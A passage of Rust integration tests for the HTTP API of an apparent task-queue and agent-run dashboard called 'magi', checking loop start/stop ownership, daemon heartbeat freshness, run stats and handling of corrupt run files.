8968 PathBuf::from("/repo/magi"),
8969 Source::Human,
8970 );
8971 task.runs.push("20260101-000000-dob1".to_owned());
8972 task.runs.push("20260101-000000-dob2".to_owned());
8973 queue.put(&mut task).expect("file the task");
8974
8975 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
8976 assert_eq!(done.status, 200, "{}", done.body);
8977
8978 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
8979 .expect("run still on disk under this fixture's own home");
8980 assert_eq!(
8981 reloaded_run.status,
8982 RunStatus::Blocked,
8983 "the last recorded attempt never landed, so the earlier one must not be \
8984 relabelled as superseded by it"
8985 );
8986 }
8987
8988 #[tokio::test]
8989 async fn unknown_ids_are_json_not_found_on_both_stores() {
8990 let f = Fixture::start().await;
8991
8992 let run = f.get("/api/runs/nosuchrun").await;
8993 let task = f.post("/api/queue/nosuchtask/hold", None).await;
8994
8995 assert_eq!(run.status, 404);
8996 assert_eq!(task.status, 404);
8997 assert!(
8998 run.json()["error"]
8999 .as_str()
9000 .is_some_and(|e| e.contains("run")),
9001 "the error names what was not found: {}",
9002 run.body
9003 );
9004 assert!(
9005 task.json()["error"]
9006 .as_str()
9007 .is_some_and(|e| e.contains("task")),
9008 "the error names what was not found: {}",
9009 task.body
9010 );
9011 }
9012
9013 #[tokio::test]
9014 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
9015 let f = Fixture::start().await;
9016
9017 let missing = f.get("/api/health").await.json();
9018 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
9019
9020 write_daemon(
9021 f.home.path(),
9022 Timestamp::now() - jiff::SignedDuration::from_secs(60),
9023 );
9024 let stale = f.get("/api/health").await.json();
9025 assert_eq!(
9026 stale["daemon"]["running"], false,
9027 "a minute without a heartbeat is a dead daemon, not a busy one"
9028 );
9029 assert!(
9030 stale["daemon"]["stale_for_secs"]
9031 .as_i64()
9032 .is_some_and(|s| s >= 55),
9033 "staleness is reported so the UI can say how long: {stale}"
9034 );
9035
9036 write_daemon(f.home.path(), Timestamp::now());
9037 let fresh = f.get("/api/health").await.json();
9038 assert_eq!(fresh["daemon"]["running"], true);
9039 assert_eq!(fresh["daemon"]["idle"], false);
9040 assert_eq!(fresh["daemon"]["pid"], 4242);
9041 assert_eq!(fresh["daemon"]["completed"], 7);
9042 assert_eq!(
9043 fresh["daemon"]["current"][0]["task"],
9044 "20260902-140501-aaaa"
9045 );
9046 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
9047 }
9048
9049 #[tokio::test]
9050 async fn the_loop_is_not_running_until_something_starts_it() {
9051 let f = Fixture::start().await;
9052
9053 let view = f.get("/api/loop").await.json();
9054 assert_eq!(view["running"], false);
9055 assert_eq!(
9056 view["owned"], false,
9057 "nobody owns a loop that does not exist: {view}"
9058 );
9059 assert_eq!(view["stopping"], false);
9060 assert_eq!(view["last_error"], Value::Null);
9061 assert_eq!(view["daemon"]["running"], false);
9062 assert_eq!(
9063 view["repo"], "/repo/magi",
9064 "the repository a start would use, named before it is started"
9065 );
9066 }
9067
9068 #[tokio::test]
9069 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
9070 let f = Fixture::start().await;
9071
9072 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9073 assert_eq!(res.status, 200, "{}", res.body);
9074 let view = res.json();
9075 assert_eq!(view["running"], true);
9076 assert_eq!(
9077 view["owned"], true,
9078 "the loop the UI started is the UI's own to stop: {view}"
9079 );
9080 assert_eq!(
9081 view["merge"],
9082 Value::Null,
9083 "no override was given, so each repository's own config decides"
9084 );
9085
9086 let health = f.get("/api/health").await.json();
9090 assert_eq!(health["loop"]["running"], true, "{health}");
9091 assert_eq!(health["loop"]["owned"], true, "{health}");
9092
9093 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9094 }
9095
9096 #[tokio::test]
9097 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
9098 let f = Fixture::start().await;
9099 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9100 assert_eq!(first.status, 200, "{}", first.body);
9101
9102 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9103 assert_eq!(
9104 again.status, 409,
9105 "two loops on one queue race for the same claims: {}",
9106 again.body
9107 );
9108 assert!(
9109 again.json()["error"]
9110 .as_str()
9111 .is_some_and(|e| e.contains("already running the loop")),
9112 "the refusal has to say why: {}",
9113 again.body
9114 );
9115 assert_eq!(
9116 f.get("/api/loop").await.json()["running"],
9117 true,
9118 "and the loop that was already running is untouched by it"
9119 );
9120
9121 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9122 }
9123
9124 #[tokio::test]
9125 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
9126 let f = Fixture::start().await;
9127 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9128
9129 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9130 assert_eq!(
9131 res.status, 200,
9132 "the answer must not wait for the loop: a run in flight is tens of \
9133 minutes and the operator is holding a phone: {}",
9134 res.body
9135 );
9136
9137 let view = settled(&f, |v| v["running"] == false).await;
9138 assert_eq!(view["owned"], false);
9139 assert_eq!(
9140 view["stopping"], false,
9141 "a loop that has stopped is not still stopping: {view}"
9142 );
9143 assert_eq!(
9144 view["last_error"],
9145 Value::Null,
9146 "a loop that was asked to stop did not fail: {view}"
9147 );
9148
9149 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9152 assert_eq!(twice.status, 200, "{}", twice.body);
9153 }
9154
9155 #[tokio::test]
9156 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
9157 let f = Fixture::start().await;
9158 write_daemon(f.home.path(), Timestamp::now());
9161
9162 let view = f.get("/api/loop").await.json();
9163 assert_eq!(view["running"], false, "not in this process: {view}");
9164 assert_eq!(view["owned"], false, "and not this process's to control");
9165 assert_eq!(
9166 view["daemon"]["running"], true,
9167 "but a loop is alive somewhere, which is what the UI must say"
9168 );
9169 assert_eq!(view["daemon"]["pid"], 4242);
9170
9171 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
9172 let res = f.post("/api/loop", Some(body)).await;
9173 assert_eq!(
9174 res.status, 409,
9175 "neither button may pretend to work on someone else's loop: {}",
9176 res.body
9177 );
9178 assert!(
9179 res.json()["error"]
9180 .as_str()
9181 .is_some_and(|e| e.contains("4242")),
9182 "the refusal has to name the process the operator must go to: {}",
9183 res.body
9184 );
9185 }
9186 assert_eq!(
9187 f.get("/api/loop").await.json()["running"],
9188 false,
9189 "and the refusal started nothing"
9190 );
9191 }
9192
9193 #[tokio::test]
9194 async fn a_stale_status_file_is_not_a_foreign_owner() {
9195 let f = Fixture::start().await;
9196 write_daemon(
9197 f.home.path(),
9198 Timestamp::now() - jiff::SignedDuration::from_secs(60),
9199 );
9200
9201 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9202 assert_eq!(
9203 res.status, 200,
9204 "a daemon killed a minute ago must not lock the loop out of its \
9205 own home for good: {}",
9206 res.body
9207 );
9208 assert_eq!(res.json()["running"], true);
9209
9210 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9211 }
9212
9213 #[tokio::test]
9214 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
9215 let f = Fixture::start().await;
9216 let before = f.get("/api/health").await.json()["loop_rev"]
9217 .as_u64()
9218 .expect("a loop revision");
9219
9220 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9221
9222 let after = f.get("/api/health").await.json()["loop_rev"]
9223 .as_u64()
9224 .expect("a loop revision");
9225 assert!(
9226 after > before,
9227 "the loop is in-process state, so this counter is the only thing \
9228 that tells a second device the first one started it: {before} -> \
9229 {after}"
9230 );
9231
9232 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
9233 }
9234
9235 #[tokio::test]
9236 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
9237 let f = Fixture::with_loop(launch_broken).await;
9238
9239 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9240 assert_eq!(
9241 res.status, 200,
9242 "starting it is not the failure: {}",
9243 res.body
9244 );
9245
9246 let view = settled(&f, |v| v["last_error"].is_string()).await;
9247 assert_eq!(
9248 view["running"], false,
9249 "a loop that died must not read as running, or the operator has \
9250 nothing to press: {view}"
9251 );
9252 assert_eq!(view["owned"], false);
9253 assert!(
9254 view["last_error"]
9255 .as_str()
9256 .is_some_and(|e| e.contains("read-only file system")),
9257 "the phone is where a loop that died at 3am is visible: {view}"
9258 );
9259
9260 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
9263 assert_eq!(again.status, 200, "{}", again.body);
9264 assert_eq!(
9265 again.json()["last_error"],
9266 Value::Null,
9267 "a fresh start does not keep showing why the last one died"
9268 );
9269 }
9270
9271 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
9283 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
9284 let home = TempDir::new().expect("temp home");
9285 let runs = home.path().join("runs");
9286 std::fs::create_dir_all(&runs).expect("runs dir");
9287 let ui = Ui::new(
9288 Queue::at(home.path().join("queue")),
9289 Questions::at(home.path().join("questions")),
9290 Talks::at(home.path().join("talks")),
9291 runs,
9292 home.path().to_path_buf(),
9293 PathBuf::from("/repo/magi"),
9294 )
9295 .with_worktrees_root(home.path().join("wt"))
9296 .with_launch(launch_knocking_on_the_way_out);
9297 let looping = ui.looping();
9298 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
9299 .await
9300 .expect("bind loopback");
9301 let addr = listener.local_addr().expect("local addr");
9302 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
9303 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
9304
9305 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
9306 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
9307
9308 let bound = std::sync::Mutex::new(None);
9323 hand_over(home.path(), &looping, served, |_| {
9324 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
9325 let attempt = loop {
9326 match std::net::TcpListener::bind(addr) {
9327 Ok(l) => {
9328 drop(l);
9329 break Ok(());
9330 }
9331 Err(e)
9332 if e.kind() == std::io::ErrorKind::AddrInUse
9333 && std::time::Instant::now() < deadline =>
9334 {
9335 std::thread::sleep(std::time::Duration::from_millis(10));
9336 }
9337 Err(e) => break Err(e.to_string()),
9338 }
9339 };
9340 *bound.lock().expect("bound") = Some(attempt);
9341 Ok(())
9342 })
9343 .await
9344 .expect("hand over");
9345
9346 assert_eq!(
9347 *PARK_HEARD.lock().expect("park heard"),
9348 Some(200),
9349 "the deck must answer while the loop is parking"
9350 );
9351 let attempt = bound
9352 .lock()
9353 .expect("bound")
9354 .take()
9355 .expect("the successor was started");
9356 assert!(
9357 attempt.is_ok(),
9358 "and the address must be free by the time it is: {attempt:?}"
9359 );
9360 }
9361
9362 #[tokio::test]
9363 async fn a_newer_daemon_status_file_still_renders() {
9364 let f = Fixture::start().await;
9365 std::fs::write(
9368 f.home.path().join("daemon.json"),
9369 serde_json::json!({
9370 "schema": 2,
9371 "updated_at": Timestamp::now().to_string(),
9372 "idle": true,
9373 "surprise": { "nested": [1, 2, 3] },
9374 })
9375 .to_string(),
9376 )
9377 .expect("write daemon.json");
9378
9379 let health = f.get("/api/health").await;
9380
9381 assert_eq!(health.status, 200);
9382 assert_eq!(health.json()["daemon"]["running"], true);
9383 }
9384
9385 #[tokio::test]
9386 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
9387 let f = Fixture::start().await;
9388 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
9389 let broken = f.runs().join("20260902-140502-bad");
9390 std::fs::create_dir_all(&broken).expect("run dir");
9391 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
9392
9393 let list = f.get("/api/runs").await;
9394 let detail = f.get("/api/runs/20260902-140502-bad").await;
9395
9396 assert_eq!(list.status, 200);
9397 let listed = list.json();
9398 let ids: Vec<&str> = listed
9399 .as_array()
9400 .expect("an array")
9401 .iter()
9402 .map(|r| r["id"].as_str().expect("an id"))
9403 .collect();
9404 assert_eq!(
9405 ids,
9406 vec!["20260902-140501-good"],
9407 "one unreadable run must not cost the operator the whole history"
9408 );
9409 assert_eq!(detail.status, 500);
9410 assert!(
9411 detail.json()["error"]
9412 .as_str()
9413 .is_some_and(|e| e.contains("run.json")),
9414 "the failure names the file to look at: {}",
9415 detail.body
9416 );
9417 let health = f.get("/api/health").await;
9421 assert_eq!(health.json()["runs_unreadable"], 1);
9422 }
9423
9424 #[tokio::test]
9429 async fn stats_runs_unreadable_matches_health() {
9430 let f = Fixture::start().await;
9431 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
9432 let broken = f.runs().join("20260902-140502-bad");
9433 std::fs::create_dir_all(&broken).expect("run dir");
9434 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
9435
9436 let stats = f.get("/api/stats").await;
9437 let health = f.get("/api/health").await;
9438
9439 assert_eq!(stats.status, 200);
9440 assert_eq!(stats.json()["totals"]["runs"], 1);
9441 assert_eq!(stats.json()["runs_unreadable"], 1);
9442 assert_eq!(
9443 stats.json()["runs_unreadable"],
9444 health.json()["runs_unreadable"],
9445 "the dashboard and /api/health must never disagree about how many \
9446 runs could not be read"
9447 );
9448 }
9449
9450 #[tokio::test]
9451 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
9452 let f = Fixture::start().await;
9453 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
9454 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
9455 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
9456
9457 let totals = &f.get("/api/stats").await.json()["totals"];
9458 assert_eq!(totals["runs"], 3);
9459 assert_eq!(totals["merged"], 1);
9460 assert_eq!(totals["stalled"], 1);
9461 assert_eq!(totals["in_progress"], 1);
9462 assert_eq!(totals["blocked"], 0);
9465 assert_eq!(totals["ready"], 0);
9466 }
9467
9468 #[tokio::test]
9469 async fn stats_advisors_report_proposals_and_reflection() {
9470 use crate::advise::{Advice, AdvisorRecord, Reflection};
9471 use crate::verdict::Proposal;
9472
9473 let f = Fixture::start().await;
9474 let mut state = RunState::new(
9475 PathBuf::from("/repo/magi"),
9476 "main".to_owned(),
9477 "0123456789abcdef".to_owned(),
9478 "task".to_owned(),
9479 Config::default(),
9480 );
9481 state.id = "20260902-140501-a".to_owned();
9482 state.status = RunStatus::Merged;
9483 state.advice = Some(Advice {
9484 records: vec![
9485 AdvisorRecord {
9486 seat: "advisor-1".to_owned(),
9487 agent: "alpha".to_owned(),
9488 proposal: Some(Proposal {
9489 approach: "do it".to_owned(),
9490 key_tradeoff: "speed over memory".to_owned(),
9491 risks: Vec::new(),
9492 touches: Vec::new(),
9493 why_not_naive: "breaks under load".to_owned(),
9494 }),
9495 error: None,
9496 duration_ms: 0,
9497 reflection: Reflection::Strong,
9498 },
9499 AdvisorRecord {
9500 seat: "advisor-2".to_owned(),
9501 agent: "alpha".to_owned(),
9502 proposal: None,
9503 error: Some("timed out".to_owned()),
9504 duration_ms: 0,
9505 reflection: Reflection::Absent,
9506 },
9507 ],
9508 synthesis: Some("blended brief".to_owned()),
9509 });
9510 let dir = f.runs().join(&state.id);
9511 std::fs::create_dir_all(&dir).expect("run dir");
9512 std::fs::write(
9513 dir.join("run.json"),
9514 serde_json::to_string_pretty(&state).expect("serialize run"),
9515 )
9516 .expect("write run.json");
9517
9518 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
9519 let alpha = advisors
9520 .as_array()
9521 .expect("an array")
9522 .iter()
9523 .find(|a| a["agent"] == "alpha")
9524 .expect("alpha row");
9525 assert_eq!(alpha["seated"], 2);
9526 assert_eq!(alpha["proposed"], 1);
9527 assert_eq!(alpha["absent"], 1);
9528 assert_eq!(alpha["strong"], 1);
9529 assert_eq!(alpha["faint"], 0);
9530 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
9531 }
9532
9533 #[tokio::test]
9534 async fn stats_release_bumps_split_clean_from_attention() {
9535 use crate::run::ReleaseBump;
9536
9537 let f = Fixture::start().await;
9538
9539 let mut clean = RunState::new(
9540 PathBuf::from("/repo/magi"),
9541 "main".to_owned(),
9542 "0123456789abcdef".to_owned(),
9543 "task".to_owned(),
9544 Config::default(),
9545 );
9546 clean.id = "20260902-140501-a".to_owned();
9547 clean.status = RunStatus::Merged;
9548 clean.release_bump = Some(ReleaseBump {
9549 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
9550 version: Some("1.0.0".to_owned()),
9551 automerge_enabled: true,
9552 merged_directly: false,
9553 problem: None,
9554 action_required: None,
9555 });
9556
9557 let mut blocked = RunState::new(
9558 PathBuf::from("/repo/magi"),
9559 "main".to_owned(),
9560 "0123456789abcdef".to_owned(),
9561 "task".to_owned(),
9562 Config::default(),
9563 );
9564 blocked.id = "20260902-140502-b".to_owned();
9565 blocked.status = RunStatus::Merged;
9566 blocked.release_bump = Some(ReleaseBump {
9567 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
9568 version: Some("1.0.1".to_owned()),
9569 automerge_enabled: false,
9570 merged_directly: false,
9571 problem: Some("checks red".to_owned()),
9572 action_required: Some("look at the PR".to_owned()),
9573 });
9574
9575 for state in [&clean, &blocked] {
9576 let dir = f.runs().join(&state.id);
9577 std::fs::create_dir_all(&dir).expect("run dir");
9578 std::fs::write(
9579 dir.join("run.json"),
9580 serde_json::to_string_pretty(state).expect("serialize run"),
9581 )
9582 .expect("write run.json");
9583 }
9584
9585 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
9586 assert_eq!(bumps["merged"], 2);
9587 assert_eq!(bumps["recorded"], 2);
9588 assert_eq!(bumps["pr_opened"], 2);
9589 assert_eq!(bumps["automerge_enabled"], 1);
9590 assert_eq!(bumps["needs_attention"], 1);
9591 assert_eq!(bumps["clean"], 1);
9592 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
9593 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
9594 }
9595
9596 #[tokio::test]
9597 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
9598 let f = Fixture::start().await;
9599 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
9600
9601 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
9602 assert_eq!(bumps["merged"], 1);
9603 assert_eq!(bumps["recorded"], 0);
9604 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
9607 assert_eq!(bumps["automerge_rate"], Value::Null);
9610 assert_eq!(bumps["attention_rate"], Value::Null);
9611 }
9612
9613 #[tokio::test]
9614 async fn stats_queue_counts_come_from_the_live_queue() {
9615 let f = Fixture::start().await;
9616 let q = f.queue();
9617 let mut queued = Task::new(
9618 "queued task".to_owned(),
9619 "do it".to_owned(),
9620 PathBuf::from("/repo"),
9621 Source::Human,
9622 );
9623 q.put(&mut queued).expect("put queued");
9624 let mut held = Task::new(
9625 "held task".to_owned(),
9626 "do it later".to_owned(),
9627 PathBuf::from("/repo"),
9628 Source::Human,
9629 );
9630 held.hold_machine(Some("out of attempts".to_owned()));
9631 q.put(&mut held).expect("put held");
9632
9633 let queue = f.get("/api/stats").await.json()["queue"].clone();
9634 assert_eq!(queue["queued"], 1);
9635 assert_eq!(queue["held"], 1);
9636 assert_eq!(queue["running"], 0);
9637 assert_eq!(queue["done"], 0);
9638 assert_eq!(queue["failed"], 0);
9639 assert_eq!(queue["blocked"], 0);
9640 }
9641
9642 #[tokio::test]
9643 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
9644 let f = Fixture::start().await;
9645 let stats = f.get("/api/stats").await;
9646 assert_eq!(stats.status, 200);
9647 assert_eq!(stats.json()["totals"]["runs"], 0);
9648 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
9649 assert_eq!(stats.json()["runs_unreadable"], 0);
9650 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
9651 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
9652 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
9653 assert_eq!(stats.json()["repo"], Value::Null);
9654 }
9655
9656 #[tokio::test]
9657 async fn stats_lists_every_repository_with_runs_recorded() {
9658 let f = Fixture::start().await;
9659 write_run_repo(
9660 &f.runs(),
9661 "20260902-140501-a",
9662 RunStatus::Merged,
9663 "/repos/a",
9664 );
9665 write_run_repo(
9666 &f.runs(),
9667 "20260902-140502-b",
9668 RunStatus::Merged,
9669 "/repos/a",
9670 );
9671 write_run_repo(
9672 &f.runs(),
9673 "20260902-140503-c",
9674 RunStatus::Blocked,
9675 "/repos/b",
9676 );
9677
9678 let stats = f.get("/api/stats").await;
9679 assert_eq!(stats.status, 200);
9680 assert_eq!(stats.json()["totals"]["runs"], 3);
9682 assert_eq!(stats.json()["repo"], Value::Null);
9683
9684 let repos = stats.json()["repos"].clone();
9685 let repos = repos.as_array().unwrap();
9686 assert_eq!(repos.len(), 2);
9687 assert_eq!(repos[0]["repo"], "/repos/a");
9689 assert_eq!(repos[0]["name"], "a");
9690 assert_eq!(repos[0]["runs"], 2);
9691 assert_eq!(repos[1]["repo"], "/repos/b");
9692 assert_eq!(repos[1]["runs"], 1);
9693 }
9694
9695 #[tokio::test]
9696 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
9697 let f = Fixture::start().await;
9698 write_run_repo(
9699 &f.runs(),
9700 "20260902-140501-a",
9701 RunStatus::Merged,
9702 "/repos/a",
9703 );
9704 write_run_repo(
9705 &f.runs(),
9706 "20260902-140502-b",
9707 RunStatus::Blocked,
9708 "/repos/b",
9709 );
9710
9711 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
9712 assert_eq!(stats.status, 200);
9713 assert_eq!(stats.json()["totals"]["runs"], 1);
9714 assert_eq!(stats.json()["totals"]["merged"], 1);
9715 assert_eq!(stats.json()["repo"], "/repos/a");
9716 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
9719 assert_eq!(stats.json()["runs_unreadable"], 0);
9722 }
9723
9724 #[tokio::test]
9725 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
9726 let f = Fixture::start().await;
9727 write_run_repo(
9728 &f.runs(),
9729 "20260902-140501-a",
9730 RunStatus::Merged,
9731 "/repos/a",
9732 );
9733
9734 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
9735 assert_eq!(stats.status, 404);
9736 }
9737
9738 #[tokio::test]
9739 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
9740 let f = Fixture::start().await;
9741 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
9742
9743 let summary = f.get("/api/runs").await.json();
9744 let row = &summary[0];
9745 assert_eq!(row["short"], "a1b2");
9746 assert_eq!(row["status"], "ready");
9747 assert_eq!(row["done"], true);
9748 assert_eq!(row["title"], "Add a web UI");
9749 assert_eq!(row["repo_name"], "magi");
9750 assert_eq!(row["judges"], 3);
9751 assert_eq!(row["winner"], Value::Null);
9752 assert_eq!(row["reviews"], 0);
9753
9754 let detail = f.get("/api/runs/a1b2").await;
9757 assert_eq!(detail.status, 200);
9758 assert_eq!(detail.json()["base_branch"], "main");
9759 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
9760 }
9761
9762 #[tokio::test]
9770 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
9771 let f = Fixture::start().await;
9772
9773 let mut none_run = RunState::new(
9774 PathBuf::from("/repo/magi"),
9775 "main".to_owned(),
9776 "0123456789abcdef".to_owned(),
9777 "Add a web UI".to_owned(),
9778 Config::default(),
9779 );
9780 none_run.id = "20260902-140503-none".to_owned();
9781 none_run.status = RunStatus::Ready;
9782 none_run.merge = Some(crate::run::MergeOutcome {
9783 mode: crate::config::MergeMode::None,
9784 ok: true,
9785 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
9786 empty: false,
9787 });
9788 write_state(&f.runs(), &none_run);
9789
9790 let mut pr_run = RunState::new(
9791 PathBuf::from("/repo/magi"),
9792 "main".to_owned(),
9793 "0123456789abcdef".to_owned(),
9794 "Add a web UI".to_owned(),
9795 Config::default(),
9796 );
9797 pr_run.id = "20260902-140504-prcl".to_owned();
9798 pr_run.status = RunStatus::Ready;
9799 pr_run.merge = Some(crate::run::MergeOutcome {
9800 mode: crate::config::MergeMode::Pr,
9801 ok: false,
9802 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
9803 empty: false,
9804 });
9805 write_state(&f.runs(), &pr_run);
9806
9807 let summary = f.get("/api/runs").await.json();
9808 let rows: std::collections::HashMap<&str, &Value> = summary
9809 .as_array()
9810 .expect("an array")
9811 .iter()
9812 .map(|r| (r["id"].as_str().expect("an id"), r))
9813 .collect();
9814 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
9815 assert_eq!(
9816 rows[none_run.id.as_str()]["unmerged_by_design"],
9817 true,
9818 "a mode-none Ready must be flagged in the list"
9819 );
9820 assert_eq!(
9821 rows[pr_run.id.as_str()]["unmerged_by_design"],
9822 false,
9823 "a Ready reached by a closed pull request is a different case"
9824 );
9825
9826 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
9827 assert_eq!(none_detail["status"], "ready");
9828 assert_eq!(none_detail["unmerged_by_design"], true);
9829
9830 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
9831 assert_eq!(pr_detail["unmerged_by_design"], false);
9832 }
9833
9834 #[tokio::test]
9839 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
9840 let f = Fixture::start().await;
9841 let id = "20260902-140502-bbbb";
9845 let mut state = RunState::new(
9846 PathBuf::from("/repo/magi"),
9847 "main".to_owned(),
9848 "0123456789abcdef".to_owned(),
9849 "Add a web UI".to_owned(),
9850 Config::default(),
9851 );
9852 state.id = id.to_owned();
9853 state.status = RunStatus::Judging;
9854 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
9855 let dir = f.runs().join(id);
9856 std::fs::create_dir_all(&dir).expect("run dir");
9857 std::fs::write(
9858 dir.join("run.json"),
9859 serde_json::to_string_pretty(&state).expect("serialize run"),
9860 )
9861 .expect("write run.json");
9862
9863 let cold = f.get(&format!("/api/runs/{id}")).await.json();
9869 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
9870 assert_eq!(cold["live"], "unknown", "{cold}");
9871
9872 write_daemon(f.home.path(), Timestamp::now());
9875 let warm = f.get(&format!("/api/runs/{id}")).await.json();
9876 assert_eq!(warm["live"], "live", "{warm}");
9877 }
9878
9879 #[tokio::test]
9882 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
9883 let f = Fixture::start().await;
9884 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
9885 let mut state = RunState::new(
9886 PathBuf::from("/repo/magi"),
9887 "main".to_owned(),
9888 "0123456789abcdef".to_owned(),
9889 "Add a web UI".to_owned(),
9890 Config::default(),
9891 );
9892 state.id = id.to_owned();
9893 state.origin = origin;
9894 let mut value = serde_json::to_value(&state).expect("serialize run");
9895 if let Some(schema) = schema {
9896 value["schema"] = serde_json::json!(schema);
9897 value.as_object_mut().unwrap().remove("origin");
9898 }
9899 let dir = f.runs().join(id);
9900 std::fs::create_dir_all(&dir).expect("run dir");
9901 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
9902 };
9903 write(
9904 "20260930-092817-ec34",
9905 Some(crate::run::Origin::from_agent_env(
9906 Some(("4a7b".to_owned(), "chat".to_owned())),
9907 None,
9908 )),
9909 None,
9910 );
9911 write("20260930-092817-0ld1", None, Some(12));
9912
9913 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
9914 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
9915 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
9916
9917 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
9918 assert_eq!(
9919 old["origin_label"], "origin unknown (started before origins were recorded)",
9920 "{old}"
9921 );
9922 assert!(old["origin"].is_null(), "{old}");
9923
9924 let list = f.get("/api/runs").await.json();
9925 let labels: Vec<_> = list
9926 .as_array()
9927 .unwrap()
9928 .iter()
9929 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
9930 .collect();
9931 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
9932 }
9933
9934 #[tokio::test]
9941 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
9942 let f = Fixture::start().await;
9943 let id = "20260922-090000-cccc";
9944 let mut state = RunState::new(
9945 PathBuf::from("/repo/magi"),
9946 "main".to_owned(),
9947 "0123456789abcdef".to_owned(),
9948 "Review only".to_owned(),
9949 Config::default(),
9950 );
9951 state.id = id.to_owned();
9952 state.status = RunStatus::Reviewing;
9953 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
9954 state.driver_pid = Some(std::process::id());
9960 state.driver_started_at = Some(
9961 crate::proc::process_started_at(std::process::id())
9962 .expect("this test process's own start time must be queryable"),
9963 );
9964 let dir = f.runs().join(id);
9965 std::fs::create_dir_all(&dir).expect("run dir");
9966 std::fs::write(
9967 dir.join("run.json"),
9968 serde_json::to_string_pretty(&state).expect("serialize run"),
9969 )
9970 .expect("write run.json");
9971
9972 let detail = f.get(&format!("/api/runs/{id}")).await.json();
9973 assert_eq!(detail["live"], "live", "{detail}");
9974 }
9975
9976 #[tokio::test]
9982 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
9983 let f = Fixture::start().await;
9984 let id = "20260922-090100-dddd";
9985 let mut state = RunState::new(
